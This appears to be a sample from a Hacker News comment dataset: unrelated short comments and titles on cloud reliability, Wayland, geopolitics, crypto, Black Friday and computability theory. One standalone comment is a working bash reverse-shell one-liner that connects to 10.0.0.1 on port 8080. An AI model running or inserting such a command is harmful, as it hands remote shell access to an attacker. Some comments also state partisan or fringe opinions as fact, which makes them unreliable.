skysight-inc/HackerNews huggingface dataset:
how they learnt? evolution, natural selection. I guess like crows who are very clever as well, they observe, try, memorize, ..
Around 80% have received one dose at least, that leaves 20% who at this point seem to be making an ideological stand. 20% of the any population can have absolutely fringe views that shouldn't be given ideological affirmative action for their views.
They've got NYC Mayor Eric Adams to speak on visionary leadership. lolz
I use old, too. It's just much simpler.
> it is cheaper for everyone to give Ukraine weapons for free than having NATO enter the war, which would, by all reasonable accounts, be catastrophic. The notion that US corporations are profiting from selling weapons is so preposterously boneheaded.

I don't think the US as a country is profiting. Yes, the defense companies are...but at the same time...how many people in Congress or in decision making positions are shareholders of defense companies? And what about the defense company's lobbying efforts and campaign contributions?
I see no valid excuses here. "we process millions of transactions so we can't provide proper service" no, just like every other buisiness that wants to scale to collecting money from millions of users while only paying tens of employees, profit margin and founder pay is no fundamental excusable reason for doing a bad job at your job.
Reducing our NAT Gateway cost with private networking between AWS and GCP
What’s the point of having a unipolar corporatist oligarchy and staging regional border disputes if you can’t profit from it?
> Either you know weaknesses in the crypto system, or you have no choice but to iterate though each key to see if the output matches the phrase.

> There is a relationship with proof of work crypto as well. Even all the Bitcoin mining has trouble finding hashes with a certain number of leading zeroes, add a few more zeros and no one will ever find a working seed again.

Yup, I know. But here's the part I think you're missing:

None of those crypto systems you're mentioning are proven not to have weaknesses. In fact, weaknesses in hashing and encryption algorithms are encountered every now and then, even for those that have been considered state-of-the-art.

So yes, I agree that in practice we don't know how to solve this problem efficiently yet. Which means it's currently impractical, and would currently requiring brute forcing through all the states.

But I haven't seen a proof that it's not possible to find a practical algorithm.
My understanding is that the German region is not run by Microsoft, but a German company. This provides a legal shield required by Germany to try and prevent the US government from accessing data on those servers.
I guess what’s wrong with girls questioning their gender identity? I imagine both girls and boys are open to suggestion from their peer group. What will not end well? What needs to be addressed directly and forcefully?

Everyone going through a phase, temporary or permanent, where they question their identities, gender or otherwise seems like a positive change to me. I foresee a world where _not_ questioning these fundamental identities is the oddity.
Of course, real time price information only conveys movement of supply and demand curves, it does not alleviate insufficient supply and/or demand.
Ask HN: Have we reached peak Black Friday?
In the start it was novel. New smart TV marked down considerably that sold out in minutes. What a great idea! But then it caught on and became just another grift. Amazon is full of 'tat' that although it's marked down substantially, it's never something I actually need. It's more a good deal for the seller, not the buyer, and has also devolved into scam territory too. If you do enough price watching, you suddenly see new items on the market marked down, but nobody knows the original price, since it's a new item just launched for Black Friday! The whole thing just seems like a grift.

Have we reached peak Black Friday?
A place to write stories together. – “Novel”, a collaborative storytelling
Hi Folks,
It's been a couple of days since Novel is released and I've fixed some of the issues and added a couple features so you can have a better co-writing experience.

"Novel", as the title suggest is a collaborative storytelling platform, where people write an story together, piece by piece.

If you're feeling creative today, go ahead and add a piece to one of the existing stories, or even create your own story and let the other to contribute to it.

Novel is open source (https://github.com/thevahidal/novel) and you can contribute to its development and also submit any issues that you face.

Let me know what you think, and please send me any ideas that you have to improve Novel.

Looking forward to your stories.

Peace,
Vahid.
They discuss it briefly and it turns out the above commenter is 100% correct in his assessment. Relevant quote from the paper:

>Given the correlational nature of the study, observed patterns may not be causal; for example, higher risk-takers could be more likely to be both entrepreneurial and exposed to T. gondii [...], thereby driving the correlation.

Remember that while it might sound amazing that a parasite could steer higher cognitive functions towards something as abstract as being more entrepreneurial, there is no practicable mechanism suggested so far and until someone figures out if it is even possible, all these studies are to be handled with care.
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Step 1. Make Russia hostile.
I wonder what goes into porting an AMD64 C project into arm64. Do you just make clean && make on your new machine? Is C portable enough to do that granted there is no inline assembly involved?
I'm pleasantly surprised that is actually about programming geometric curves. This was my entry into coding as kid.

What would be cool is to present two different ways to plot the curves: The 'analytic' (or parametric way) and then also shader style where you basically decide for every pixel independently if you draw it or not.
Good analysis.

An old Mercedes has class. A new Mercedes is just vulgar.
The U.S. wanted a huge piece of the oil action in Russia in 2003 and got rejected:

http://edition.cnn.com/2003/BUSINESS/10/03/russia.yukos/

It seems to me that the U.S. wanted to be "extremely reliant on known bad actor Russia". Is Nord Stream perhaps sour grapes for the U.S.?
> Xorg doesn't support his either. Your screenshotting tool runs the timer and takes the screenshot when the timer expires. You complaint is like saying "the Linux kernel won't render markdown for me". No, it won't, you're looking at the wrong part of the stack.

Xorg also doesn't prevent you from using an application that does have these functions. Wayland does prevent you.

> but it's perfectly possible to write without any changes to the compositor (e.g.: the compositor provides the necessary APIs for thi).

The necessary APIs don't exist, so it isn't possible to write the extra functionality without changing the compositor.

Honestly, I don't understand why anybody defends Wayland at this point. It's been, what, ~~six years? Six years~~ FOURTEEN FUCKING YEARS we've been telling you that we want to be able to use our screenshot and recording applications and that removing functionality that we use day-to-day wasn't acceptable. Are the Firefox devs the same people making Wayland? Is that why they're so unresponsive to user needs?
Phone manufacturers probably do use simulators for most of their test calls, but also nearly every emergency dispatch center will have several cell towers in their service area and very few have phone manufacturers or phone test facilities.

I have a friend who used to work on cell towers and he'd need to do a test call after certain types of maintenance, and might visit a few towers a day to do that work. On the other hand, a particular phone model probably only needs one or two live test calls per firmware release, so there's probably a lot fewer of those calls overall, even if you're at a dispatch center that serves an area including people testing phones.
> Why would any country do that if they don't plan similar genocidal war?

Because not everybody likes to be controlled by the US?
Dropping an Egg from Space
Right. Much of their valuations have to do with self filling capitalism where they reinvest themselves in the market and due to scarcity, prices go up.

This is basically what wealth inequality is doing
They're choosing between stealing and withdrawal symptoms.
I won’t disagree that Twitter was massively bloated, but part of that is because they had so many different business areas of focus.

People like to oversimplify what it does, if it was only sharing tweets and images, sure you could get by with 20 or 30 engineers. But they are a self service ad network, a video upload site, a live streaming service, an analytics service and I’m sure I’m missing others.

Now, if you figure 20 engineers per service, plus moderation staff, sales, g&a, etc… you can easily hit hundreds (if not thousands) of people necessary to just keep things going.
Oh no no. Just that the . And no . Emails are entirely distinct and if you have a phone number for an old account you might be able to get in.
Multi-region in AWS means building it yourself.

I suspect that the skills for real HA are atrophying because for 99% of the people multi-AZ is enough and most of the AWS stuff supports multi-az automagically.

The problem with multi-region is that it means configuration, and there are probably lots of services that you can't actually configure to be multi-region. Cognito is one off the top of my head. It looks like the various aurora flavors do multi-region, but what about Neptune? SQS? API Gateway? AWS Lambda? MediaLive?

Maybe you can hide all that behind DNS failover, maybe you can't.

Real multi-region is basically means going back to old-school HA, and that was hard to do when it was your data centers. On AWS it'll be even harder.

That isn't to say it's not possible, it's just a tremendous amount of work.

I mean really, if us-east-1 is down 80% of the internet is screwed...so from an expectations point of view does HA of your particular service matter if that happens? Even for a financial outages happen.

Once you have enough people it might be worth it. For a non mission critical startup? No fucking way.
Gore-TEX, a lightweight, waterproof fabric made from the expanded form of PTFE
Won't be surprised to find chinese/russian influence in this as well. Tiktok which teenagers use is full of such themes. Transitioning permanently to another gender in majority of cases makes the person incapable of procreation which in turn might lead to a sizeable population collapse if such trends keep increasing.
A dormant account that suddenly gets a large influx of new users sounds like a great way to get auto-banned by some stupid automated process as well, just when you most need them to work :-}
> ...without any of the modularity and flexibility that Linux is (allegedly) proud of.

Linux seems to have been infiltrated by people who simply don't believe in this anymore, and so we keep getting "modern" "batteries included" integrated monoliths that suck at everything but supposedly make things easier because this new crop of people don't want to have to know about or compare multiple options :(. And like, because for specific use cases the monoliths can have better performance, that gets used as a way to undermine what used to be the unique selling proposition of Linux :(.
Makes me think of the Ship of Theseus.[1] How many changes can you make to legacy code and still consider it “legacy”?

[1] https://en.m.wikipedia.org/wiki/Ship_of_Theseus
Not two days ago I had the thought that it'd be so nice if I could write tests that were just plain text HTTP requests, and that the assertions would be just be comparing the responses to stored plain text HTTP responses, kind of like how snapshot assertions works in the React world. From a cursory glance this looks even better than what I had in mind, can't wait to give it a spin.

Thank you so much for sharing!
It has everything to do with USD dominance.

Countries have resources thus commodities. Commodities have value. Real value.

Trade in local currencies can be backed by these commodities.

Necessity will force countries to find USD alternatives.
I think that the design with a lot more text, and less pictures, is a better design. (Unfortunately, almost required them to use Unicode; although Shift-JIS is sometimes in use, TRON code is not.) (There are other problems with web design all over the world including Japanese, but I have seen many Japanese web pages with a better design than ones with English text.)
That makes sense, so I just picked another commit at random without a -rc tag:

https://github.com/torvalds/linux/commit/c60c152230828825c06...

The fix is to change && to ||

This seems like the exact type of bug that a unit test could prevent.
> But the other two (the Macbook and Mini) are intel native.

The 2020 Mac Mini is not intel [0]. The 2021 Macbook Pro is also not intel [1].

> So it's a universal binary. Surely it'd run natively in the Mac Studio. Maybe this was a typo?

Yes, the new universal binary can run natively. That's what they are announcing: the new native support. They are comparing the native performance against using rosetta [2] to run the x86 binary (which, in prior versions, was the only option). By using the same binary they are ruling out that it's due to any other performance improvements between versions.

[0]: https://support.apple.com/kb/SP823?locale=en_US

[1]: https://support.apple.com/kb/SP854?locale=en_US

[2]: https://en.wikipedia.org/wiki/Rosetta_(software)
It's quite a bit better than that, in fact. They talk to their customers to try and understand all the big deployments coming to understand if there is going to be a crunch at the region/AZ level.

I'd be surprised if other cloud providers aren't doing that in some form. I only have experience with Azure (so far).
> so for a sufficiently complex property you would effectively have to iterate over this problem space.

Why?

Why are you assuming that the only way to figure out if a program halts is by simulating running it step by step?

And not by analyzing the description of the program?
Nope. It's called a smartphone, that should be your first clue that it's actually a phone. Also, not a very good computer.
A meta-analysis of the effects of trigger warnings and content notes
What's wrong with flutter/dart in this respect? It's what I've chosen for true cross platform development over web technologies, after long consideration.
> it’s worth noting most store theft comes from employees not the public

Employee theft is always a problem, too, but whether it is worse than shrinkage or not is kind of irrelevant - it's still going to cost the business money which will mean that they'll raise prices or go under.

Employee theft can and does cause businesses to fail.
Hopefully the employees at the organizations loot the office rather than the the fancy office furniture be auctioned off to pay back the depositors.
So how do you get Stripe to send you a signed contract?
New mRNA vaccine targeting all known flu strains shows early promise
I worked in their HR department in 2000 and 2001, building various systems to support compensation, performance review, etc. Significant part of the role involved working with DBAs who pulled data from those systems into our RDBMS, as we were using web languages of the day.
I only meant that I love text based interfaces. I only know of one other example that looks good in both terminal and web: https://wttr.in
Twitter's lost 50% of its advertisers since Elon Musk took over, report says
Part of the problem with crypto is "elite capture", ie., the political class seem to have jumped behind it as with, eg., AI, quantum computing, self-driving cars etc. --- without realising that it's a pyramid-style hype phenomenon rather than a "innovation-style" one.

To defend them, it's really really hard to tell -- many technical people are economically incompetent and have been "captured"; and political people are far from either economically or technically competent.

However, of course, there's also a significant amount of money funnelled from this scam into political pockets. I'd say it's 80% the former, 20% the latter.

In any case, if the gov were to come down against crypto, they'd wipe the entire industry out. That would be a high-risk move from the political elite class on any ordinary technology, let alone one they've been captured to support.
"Germany has struggled with digitization, sometimes it feels like you're walking back into the 70s when you're dealing with it."

From an outsider's perspective it's not only Germany but much of Europe is suffering from the same problem. The EU is such an all-pervasive force in Europe that one wonders why EU objectives haven't been set to rectify this. Why is this so?

I'll explain what I mean by example: if the EU would provide incentives to businesses, governments and schools to use say LibreOffice as well as finding a means to subsidize LibO's development including its potential developers then it would not take that long before LibO would not only be up to speed with O365 but potentially even better than it—in an environment nurtured by the EU, LibO could have thousands of developers.

Here's another example: there has never been a proper and comprehensive WYSIWYG HTML editor that's both open source and free. The closest we've gotten to that is BlueGriffon but one has to pay to get it to work properly. Even then, it's late on updates not to mention short on features and it uses quirky procedures and nomenclature. It is a primary candidate for such treatment by the EU. …And there are many more examples like these.

An EU-wide perspective would set the agenda for determining what are the most relevant/important aspects of programs to develop first, and so on. Moreover, both LibO and BlueGriffon are European based which ought to aid matters considerably.

I find it truly perplexing that the EU hasn't put a high priority on (a) developing a more robust software industry and (b) ridding itself of its dependence on US-based software.

If Europe had a stronger software industry then there'd be much less problem with the GDPR, using European software would ensure that user data would remain on servers located within Europe.

This ought to be a no-brainer, so why isn't it?
The Five Dimensions of Sustainable Software Engineering
Fucking amazing...

How does it know what gene to promote? Its hard to beleive that such "primitive" organizm promotes exploration and risky behavior in number of different animals.
Stripe is a ycombinator company
Haha, I get it. It takes "atoll on the Bahamas". Very good. Very good.
I'm a big fan of using UV for germicidal purposes, but I get extremely concerned when people propose using it in rooms where people are present, like the "just put it high up in a vaulted ceiling" approach discussed in the article. People can get eye damage from halogen lamps with cracked filters in school gymnasiums[1], and those ceilings are generally higher than you'd see in most other types of room.

The potential to end up deploying something that ends up being another asbestos-type "oops, we gave an entire generation cataracts and skin cancer" situation really concerns me. I'd want to see either some very long term research indicating that it didn't happen with far-UV light at all, or that the lights were in fixtures that somehow completely prevented the people below from being exposed.

[1] https://www.cdc.gov/mmwr/volumes/65/wr/mm6511a4.htm
Maggie Koerth-Baker
I think we’ve passed peak Black Friday. I remember a few years ago stores were opening Thanksgiving evening, fortunately that’s passed but yeah, I mean, all year long companies call out “Black Friday” like sales. I wish it really was just Black Friday 6-midnight or whatever, now it just feels like there is no signal in the noise.
Nothing wrong with inviting every scammer to do scamming on your islands.
What language do you prefer?

Enigma (NodeJS): https://github.com/NuSkooler/enigma-bbs

x84 (Python - needs some work to use current Python): https://github.com/jquast/x84

Synchronet (C, JS): https://www.synchro.net

WWIV (C++): https://github.com/wwiv
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Not “millions”, as FTX barely had a million customers. And most of the money belonged to entities like Sequoia Capital and SoftBank and not actual people.

Also, given it was a crypto exchange, ie a ponzi scheme by design, I’m not sure if there’s any point in blaming the owners for making it a bit more scammy.
Microsoft released Word and Excel on Macs before it was released on its own platforms and has been available on Macs for 40 years. PowerPoint started on the Mac. An Office 365 subscription works across Macs, Windows, iOS and Android.

Apple has never had anywhere near a monopoly on any platform. AT&T had a government mandated monopoly.

What major software company has Apple acquired aside from NeXT?
Yep, who would imagine that animals in societies tend to discriminate against the ill and diseased.
If you have used Emacs for any length of time you will have run into them now and then. The usual sort is when something is expected to be a value but instead it is nil, the equivalent of a null pointer exception. It's hard to give examples because if there was a reproducible one that happened often enough to remember, it would go through the bug fix process. Instead it just happens enough to be annoying. I guess gnus.el is a common subsystem where it happens a lot, say if a remote server is down.
New challenge unlocked: design your application in an wrapper agnostic way to avoid getting locked out when the wrapper service bans you.
> As for the government, I see two possibilities: either they were paid off, or they were scammed too.

Or they're just idiots that won't have to deal with the consequences, which is usually the case.
New York Enacts 2-Year Ban on Some Crypto-Mining Operations
> As I've said elsewhere, ultimately it's the responsibly of the regulator in each country to ensure that phones can connect to emergency numbers irrespective of what operating system or apps are installed on them—so that's where the problem ought to rest.

If you are selling a phone, you have to comply with phone regulations and it’s your responsibility to make it do phone things.

Blaming the regulator for Google’s error is a neat idea though.
I say do it. I would be frankly amused to see what he would dare to present.

It would also be over of the few times you would actually cut through the survivorship fallacies that define these speaker lists.
$7.4T in market cap, not actual money/value.
> But often mathematical models are more informative and interesting than the concrete physical objects they abstract.

Yes, I agree.

But a model of a machine with finite states is more informative and interesting for applying it to real-world computers than a model of a Turing machine.

Why? Because the first model tells you the Halting problem is decidable and the second one tells you it's undecidable. And as I mentioned, for programs running on real-world computers the Halting problem is decidable.
Given that Bahamas help rich people and companies to evade taxes, my sympathy to negative consequences of that are limited.
https://archive.ph/bt9LZ
If your single-AZ, single-region cloud is not giving you 3 or 4 9's of reliability out of the box, you are using the wrong cloud.

Multi-AZ and multi-region add complexity and cost much more quickly than they add reliability.

Sometimes it is worth it. Sometimes it is not.
Out of curiosity (from someone inexperienced with Azure), is it a skill/ability chasm between MS engineering and outsourced support?

TAMs tend to be a bandaid organizational sign that support-as-normal sucks and isn't sufficient to get the job done (ie fix everything that breaks and isn't self-serve).